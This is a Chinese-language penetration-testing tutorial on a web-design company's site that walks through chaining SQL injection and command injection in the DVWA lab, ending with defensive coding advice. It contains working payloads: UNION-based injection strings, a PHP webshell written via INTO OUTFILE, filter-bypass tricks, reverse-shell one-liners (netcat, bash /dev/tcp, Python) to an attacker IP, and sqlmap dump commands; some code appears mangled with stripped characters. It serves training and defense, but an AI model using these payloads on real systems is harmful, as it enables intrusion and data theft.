拓冰建站拓冰建站
首页 / 资讯中心 / 正文

SQL注入与命令执行漏洞实战:从原理到防御的完整渗透测试指南

最近在安全测试和CTF比赛中经常遇到一类结合了Web漏洞的复合型靶场其中“edu通杀刷分”场景尤为典型。这类靶场往往模拟了真实教育系统中存在的安全缺陷将命令执行与SQL注入漏洞串联对安全人员的综合渗透能力提出了更高要求。本文将围绕一个虚构但极具代表性的漏洞编号CVE-2026-6303060137深入剖析其背后的Shell命令执行与SQL注入漏洞原理并提供一套从信息收集、漏洞利用到权限获取的完整实战WriteupWp。无论你是正在备考安全认证、参与CTF竞赛还是希望提升企业Web应用安全测试技能本文的拆解思路和实操步骤都能为你提供清晰的指引。1. 漏洞背景与核心概念解析在深入漏洞利用之前我们首先需要理解本次实战所涉及的两个核心漏洞类型SQL注入和操作系统命令执行。它们通常被组合利用形成一条从Web前端到服务器后端乃至操作系统底部的完整攻击链。SQL注入SQL Injection是一种将恶意的SQL代码插入或“注入”到应用程序的输入参数中从而让后端数据库执行非预期操作的攻击方式。攻击者可以利用此漏洞绕过登录验证、窃取、篡改或删除数据库中的数据。根据注入方式和数据库特性可分为联合查询注入、报错注入、布尔盲注、时间盲注等多种类型。操作系统命令执行OS Command Injection是指应用程序在调用系统Shell如bash、cmd执行命令时未对用户输入进行充分过滤导致攻击者能够注入并执行任意系统命令。这通常发生在调用system()、exec()、popen()等函数的场景中。此漏洞的危害性极高攻击者可以直接在服务器上执行命令从而完全控制服务器。CVE-2026-6303060137虚构案例模拟了一个典型的教育管理系统Edu Management System漏洞。该系统的某个功能点例如“成绩查询”、“文件上传”同时存在两处缺陷前端参数存在SQL注入漏洞允许攻击者操纵数据库查询。后端某个基于数据库查询结果的操作如调用系统命令处理数据存在命令注入漏洞。 攻击者可以首先利用SQL注入获取到一些关键信息如系统路径、配置文件内容然后构造特定的输入触发第二阶段的命令执行最终在服务器上获得一个反向Shell实现“通杀”。2. 环境准备与靶场搭建为了安全、合法地复现和练习此类漏洞我们必须在隔离的环境中进行。强烈建议使用虚拟机搭建靶场。2.1 所需环境与工具操作系统 Kali Linux 2024.x攻击机 / Ubuntu 22.04 LTS 或 Windows靶机。靶场应用 我们可以使用诸如DVWA (Damn Vulnerable Web Application)、WebGoat或bWAPP等集成多种漏洞的练习平台。它们通常包含SQL注入和命令执行的模块。数据库 MySQL 或 MariaDB通常靶场自带。Web服务器 Apache 或 Nginx。关键工具浏览器 Chrome 或 Firefox。代理工具Burp Suite Community/Professional—— 用于拦截、重放和修改HTTP请求是手工测试的核心。漏洞扫描器可选sqlmap—— 自动化SQL注入检测与利用工具。网络工具netcat (nc)—— 用于监听和建立反向Shell连接。编码工具 在线或本地的URL编码/解码工具。2.2 靶场部署以DVWA为例下载DVWA 从官方GitHub仓库 (https://github.com/digininja/DVWA) 下载最新版本。部署到Web目录 将DVWA文件解压到Apache的Web根目录如/var/www/html/dvwa。配置数据库# 登录MySQL创建数据库和用户 mysql -u root -p CREATE DATABASE dvwa; CREATE USER dvwalocalhost IDENTIFIED BY pssw0rd; GRANT ALL PRIVILEGES ON dvwa.* TO dvwalocalhost; FLUSH PRIVILEGES; exit;修改DVWA配置 复制config/config.inc.php.dist为config/config.inc.php并修改其中的数据库连接信息与上一步匹配。访问并初始化 浏览器访问http://your-ip/dvwa/setup.php点击“Create / Reset Database”按钮。使用默认账号admin/password登录。重要声明 本文所有操作均在授权测试的本地靶场环境中进行。严禁对未授权的任何系统进行测试否则将承担法律责任。3. 漏洞原理与手动探测我们假设靶场有一个名为command_exec.php的页面它接收一个ip参数用于执行ping命令同时该参数值会先被用于数据库查询例如记录日志。3.1 第一阶段SQL注入漏洞探测正常请求可能如下GET /vulnerabilities/exec/?ip127.0.0.1submitSubmit HTTP/1.1后端逻辑伪代码可能为$input_ip $_GET[ip]; // 存在漏洞的SQL查询用于记录操作日志 $sql INSERT INTO exec_log (user, ip, time) VALUES ( . $_SESSION[user] . , . $input_ip . , NOW()); $result mysqli_query($conn, $sql); // 后续执行命令 system(ping -c 4 . $input_ip);手动探测步骤信息收集 使用Burp Suite拦截上述请求。初步测试 修改ip参数为127.0.0.1增加一个单引号。观察响应如果页面返回数据库错误信息如“You have an error in your SQL syntax”则初步判断存在SQL注入。确定注入类型 进一步测试127.0.0.1 AND 11和127.0.0.1 AND 12。如果前者返回正常页面ping了127.0.0.1后者返回异常或不同页面则确认是字符型注入。判断列数为联合查询做准备 使用ORDER BY子句。例如127.0.0.1 ORDER BY 1--127.0.0.1 ORDER BY 2-- 直到页面出错即可确定查询结果的列数。假设在ORDER BY 3时出错说明有2列。联合查询获取信息 利用UNION SELECT获取数据库信息。ip127.0.0.1 UNION SELECT database(), user()--如果页面某处可能是日志显示区域回显了当前数据库名和用户名说明注入成功且可回显。3.2 第二阶段命令执行漏洞探测在确认SQL注入点后我们需要找到命令执行点。从伪代码看system(ping -c 4 . $input_ip);直接拼接了用户输入。手动探测步骤基础测试 输入127.0.0.1; whoami。分号;在Linux/Unix系统中用于分隔命令。如果后端执行了ping -c 4 127.0.0.1; whoami并且页面返回了当前系统用户如www-data则证明存在命令注入。测试其他分隔符 后台执行Linux。 前一条命令成功则执行后一条。| 管道符。|| 前一条命令失败则执行后一条。\n(换行符URL编码为%0a) 同样可以分隔命令。绕过可能的过滤 如果简单的分号被过滤可以尝试编码绕过127.0.0.1%3bwhoami(%3b是;的URL编码)。空格绕过 使用Tab键的URL编码%09或者${IFS}在bash中代表内部字段分隔符代替空格。例如127.0.0.1;cat${IFS}/etc/passwd。命令拼接 例如awho;bami;$a$b。4. 完整实战利用链WpWriteup现在我们将两个漏洞串联模拟“CVE-2026-6303060137”的完整利用过程目标是从Web注入点获取一个反向Shell。4.1 信息收集与注入点确认访问靶场设置DVWA安全等级为“Low”。打开Burp Suite配置浏览器代理开启拦截。访问“Command Execution”漏洞页面输入127.0.0.1并提交。在Burp中看到请求GET /dvwa/vulnerabilities/exec/?ip127.0.0.1submitSubmit。发送此请求到Repeater模块以便反复测试。4.2 利用SQL注入获取关键信息我们的目标是利用SQL注入先获取一些有助于后续命令执行的信息比如Web绝对路径便于写入WebShell或者数据库中的敏感配置。在Repeater中修改ip参数进行测试ip127.0.0.1 AND 11页面应正常显示ping的结果。ip127.0.0.1 AND 12页面可能显示不同如无结果确认注入存在。判断列数ip127.0.0.1 ORDER BY 2--正常。ip127.0.0.1 ORDER BY 3--报错。因此原始查询返回2列。联合查询获取信息ip127.0.0.1 UNION SELECT version, datadir--从回显中我们可能得到MySQL版本和数据目录如/var/lib/mysql/。数据目录通常在Web目录之外但我们可以尝试获取basedir。ip127.0.0.1 UNION SELECT basedir, database()--获取MySQL安装基础目录和当前数据库名。关键步骤尝试通过SQL注入写入文件。MySQL的SELECT ... INTO OUTFILE语句可以将查询结果写入文件。但需要满足苛刻条件secure_file_priv变量允许、具有FILE权限、知道可写目录的绝对路径。ip127.0.0.1 UNION SELECT ?php system($_GET[cmd]);?, NULL INTO OUTFILE /var/www/html/dvwa/hack/shell.php--注意 此步骤成功率低因为secure_file_priv常被设置为空或特定目录。但它展示了SQL注入如何与文件系统交互为RCE铺路。在本案例中我们假设它失败了转而专注于直接的命令注入。4.3 利用命令注入获取反向Shell既然有直接的命令注入点我们优先使用它。验证命令执行ip127.0.0.1; whoami回显www-data确认成功。探测网络环境 检查能否出网以及攻击机IP。在攻击机Kali上执行ifconfig获取IP例如192.168.1.100。在靶场注入点测试连通性ip127.0.0.1; ping -c 2 192.168.1.100在攻击机监听ICMP包sudo tcpdump -i eth0 icmp看是否能收到确认网络可达。准备反向Shell负载 反向Shell是让靶机主动连接攻击机监听的端口。常用方法很多这里用最经典的netcat。方法一传统netcat如果靶机有-e选项ip127.0.0.1; nc 192.168.1.100 4444 -e /bin/bash方法二bash重定向更通用ip127.0.0.1; bash -i /dev/tcp/192.168.1.100/4444 01方法三使用python如果靶机安装了pythonip127.0.0.1; python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])发起攻击在攻击机Kali上用netcat监听端口nc -lvnp 4444在Burp Repeater中发送构造好的命令注入请求注意对特殊字符进行URL编码。例如发送方法二的Bash命令GET /dvwa/vulnerabilities/exec/?ip127.0.0.1;%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261submitSubmit%20是空格%3E%26是%2F是/。获取Shell 如果一切顺利你将在Kali的nc终端中看到来自靶机的反向Shell连接提示符变为www-datatarget-machine:/var/www/html/dvwa/vulnerabilities$。至此你已成功通过复合漏洞获取了服务器权限。5. 自动化工具辅助利用sqlmap对于纯SQL注入部分可以使用sqlmap进行自动化探测和利用提高效率。基本检测sqlmap -u http://target-ip/dvwa/vulnerabilities/exec/?ip127.0.0.1submitSubmit --cookiePHPSESSIDyour_session_id; securitylow --batch参数说明-u: 目标URL。--cookie: 提供已登录的Cookie因为DVWA需要登录。--batch: 以非交互模式运行自动选择默认选项。获取数据库信息sqlmap -u http://target-ip/dvwa/vulnerabilities/exec/?ip127.0.0.1submitSubmit --cookie... --dbs获取当前数据库表sqlmap -u http://target-ip/dvwa/vulnerabilities/exec/?ip127.0.0.1submitSubmit --cookie... -D dvwa --tables导出表数据sqlmap -u http://target-ip/dvwa/vulnerabilities/exec/?ip127.0.0.1submitSubmit --cookie... -D dvwa -T users --dumpsqlmap会自动识别注入类型并尝试联合查询、报错注入、盲注等多种技术。但请注意sqlmap无法直接利用命令执行漏洞后者仍需手动或编写特定脚本。6. 常见问题与排查思路在实战过程中你可能会遇到以下问题问题现象可能原因排查与解决思路SQL注入测试无回显1. 注入点不存在。2. 是盲注布尔/时间盲注。3. 错误信息被屏蔽。1. 检查参数是否真的参与数据库查询。2. 使用 AND SLEEP(5)--测试时间盲注。3. 尝试使用sqlmap的--level和--risk提高检测级别。命令注入执行失败1. 输入被过滤或转义。2. 命令分隔符被禁用。3. 权限不足如无法执行bash。1. 尝试多种分隔符和编码方式。2. 使用127.0.0.1 | whoami管道符前加空格。3. 尝试使用其他语言如python,perl,php的反弹Shell命令。反向Shell连接不上1. 靶机无法访问攻击机IP/端口。2. 防火墙阻止。3. 命令语法错误或环境不支持。1. 在靶机上用命令注入执行ping attack-ip和telnet attack-ip 4444或nc -zv测试连通性。2. 检查攻击机防火墙是否放行了4444端口 (sudo ufw allow 4444)。3. 在靶机上尝试执行which bash、which nc、which python3确认命令是否存在。sqlmap检测不到注入1. Cookie或会话无效。2. 存在Token或CSRF防护。3. 注入点过于复杂。1. 使用Burp确保Cookie正确并使用--cookie参数。2. 使用--csrf-token和--csrf-url参数处理CSRF。3. 将Burp拦截到的完整POST请求保存为文件如req.txt使用sqlmap -r req.txt。7. 防御与最佳实践作为开发者了解攻击手段是为了更好地防御。以下是如何避免此类复合漏洞的工程建议7.1 根治SQL注入使用参数化查询预编译语句 这是最有效的方法。无论是PHP的PDO/MySQLiJava的PreparedStatement还是Python的SQLAlchemy都应使用参数化查询确保用户输入永远被当作数据处理而非SQL代码的一部分。// PHP PDO 示例 $stmt $pdo-prepare(INSERT INTO exec_log (user, ip, time) VALUES (:user, :ip, NOW())); $stmt-execute([user $user, ip $input_ip]);使用ORM框架 如Hibernate、Eloquent等它们通常内置了参数化查询。最小权限原则 数据库连接账户不应拥有FILE、DROP等高风险权限。输入验证与过滤 虽然不能 solely rely on但结合白名单验证如IP地址格式可以增加攻击难度。错误信息处理 生产环境应禁用或自定义数据库错误信息避免泄露表结构等敏感信息。7.2 杜绝命令执行避免直接调用系统命令 尽可能使用语言内置函数或安全的库来完成功能。例如用filter_var($ip, FILTER_VALIDATE_IP)验证IP而不是直接拼接到ping命令。必须使用时进行严格的白名单过滤 如果一定要执行命令应对用户输入进行严格的格式检查如只允许数字和点号组成的IP地址。if (!preg_match(/^[0-9\.]$/, $input_ip)) { die(Invalid IP address); } // 或者更严格的IPv4验证 if (!filter_var($input_ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { die(Invalid IPv4 address); } $cmd ping -c 4 . escapeshellarg($input_ip); // 使用 escapeshellarg system($cmd);使用安全的API 如PHP的escapeshellarg()或escapeshellcmd()函数对命令参数进行转义。但请注意escapeshellcmd()在某些情况下仍可能被绕过白名单参数化是最佳组合。降低执行权限 运行Web服务的用户如www-data应被限制在最小必要权限内避免使用root权限。7.3 纵深防御WAFWeb应用防火墙 部署WAF可以拦截常见的SQL注入和命令注入攻击载荷。定期安全扫描与代码审计 对应用进行黑盒/白盒安全测试及早发现漏洞。安全开发生命周期SDL 将安全要求融入需求、设计、编码、测试、部署的全过程。通过本次对“CVE-2026-6303060137”模拟漏洞的深度剖析与实战我们不仅掌握了SQL注入与命令执行漏洞的手动探测、利用技巧以及自动化工具辅助更重要的是理解了其背后的成因与关联性。在实战中漏洞往往不是孤立存在的发现一个入口点后要善于利用已获取的信息横向移动扩大战果。同时作为开发者或安全工程师我们必须将安全思维贯穿始终通过规范的编码、严格的输入处理、最小权限原则和持续的监控审计构建起应用系统的安全防线。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门